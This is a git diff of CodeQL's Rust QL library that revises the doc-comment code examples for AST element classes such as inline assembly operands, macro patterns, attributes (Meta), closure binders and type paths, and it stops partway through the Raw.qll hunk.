db833d2a176a..86516ba0e1b4 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -12,8 +12,14 @@ import codeql.rust.elements.Pat * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 854f0b2a3f9b..a9122156b8c4 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -12,6 +12,9 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index c1a65df5856d..46fcafb43c2f 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -14,8 +14,13 @@ import codeql.rust.elements.TokenTree * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 6d6776e4eea5..95ec6cc7ac85 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -10,8 +10,8 @@ import codeql.rust.elements.TypeRepr /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ final class PathTypeRepr = Impl::PathTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index fd724507df1a..aa8a49e0fa24 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 84e7d02ebaaf..2c66fc52a3fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 36c0877567fc..d9c284eca28c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -13,12 +13,13 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec */ module Impl { /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ class AsmDirSpec extends Generated::AsmDirSpec { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll index 24160ec3386d..338f4772a53e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll @@ -16,7 +16,8 @@ module Impl { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6990f1d7b6c3..ee89b6cb27d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -17,8 +17,12 @@ module Impl { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ class AsmLabel extends Generated::AsmLabel { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index db309ada7d7d..ee0db41767aa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index 5012d8578d5e..dd45bcc05a9a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -17,8 +17,9 @@ module Impl { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ class AsmOperandNamed extends Generated::AsmOperandNamed { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index c96a8cecd06e..60d56d225810 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 25b029776d17..ca8e80f82ecc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 53a858edd39e..d3d6b24c15a3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 2ceb7318ca53..24798bae93c8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -17,8 +17,9 @@ module Impl { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ class AsmRegSpec extends Generated::AsmRegSpec { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 79ce8132ed0f..ad118f38d1c5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 8c88fad65a61..fab477d4c3f6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index dc7bced98899..095a5a269e0f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 4b9859220528..79700085b941 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index 98bcb5cca210..db3bd53c8935 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -17,8 +17,8 @@ module Impl { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index da91b4256df8..90cdfd533c6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,14 +13,12 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 26f0cd5c7b74..166b105ab959 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -17,8 +17,14 @@ module Impl { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index de57e6a82264..87801fe58770 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -17,6 +17,9 @@ module Impl { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index dd6ad1891c00..bbac494ed3c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index 599a2a753be1..c607e73dd7be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -15,8 +15,8 @@ module Impl { /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ class PathTypeRepr extends Generated::PathTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 2971536accc5..9a47d6081123 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -18,6 +18,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index be7539812bcc..eb685ef2deb8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 7a2f33a0a075..520e2d88ad66 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,12 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll index ac8e4d2c7239..83f756a4c984 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll @@ -20,7 +20,8 @@ module Generated { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` * INTERNAL: Do not reference the `Generated::AsmExpr` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index d1b01f3c63c1..7d5f750f098c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -19,8 +19,12 @@ module Generated { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 98b6ff146a87..5f5fd7ff09d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index 187d6cd75f37..158acb3aa48d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -20,8 +20,9 @@ module Generated { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index 388a94ca708a..9c3d309f3078 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -18,6 +18,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index 862b9a254652..de8f7bccb0f8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 8693aafd924a..a294732fd96b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -21,6 +21,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index 55498c976811..60f0c5803fe9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -19,8 +19,9 @@ module Generated { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index 8433dc2483ec..269b6721eb1e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index c7aada0045d5..50e5fb32fe6e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -26,8 +26,13 @@ module Generated { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 3ec0785ce8d7..9bd04fd35817 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -19,8 +19,13 @@ module Generated { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 46a51f3841b7..c7dc7380c3c4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -20,8 +20,13 @@ module Generated { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 098935e35b86..7ae2873fa606 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -19,8 +19,8 @@ module Generated { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 6d7510e55c80..b10858d06854 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,14 +18,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index 5c416e8e6bce..e967082bc775 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -19,8 +19,14 @@ module Generated { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index ec6c4a5332d1..e6b901ba3d97 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -19,6 +19,9 @@ module Generated { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 68db05b0abab..27e6c03a3287 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -21,8 +21,13 @@ module Generated { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 990eec0265ba..7fa652459f73 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -17,8 +17,8 @@ module Generated { /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` * INTERNAL: Do not reference the `Generated::PathTypeRepr` class directly. * Use the subclass `PathTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index e611b952de4e..9880b8c2b02b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -177,12 +177,13 @@ module Raw { /** * INTERNAL: Do not use. - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { @@ -200,6 +201,7 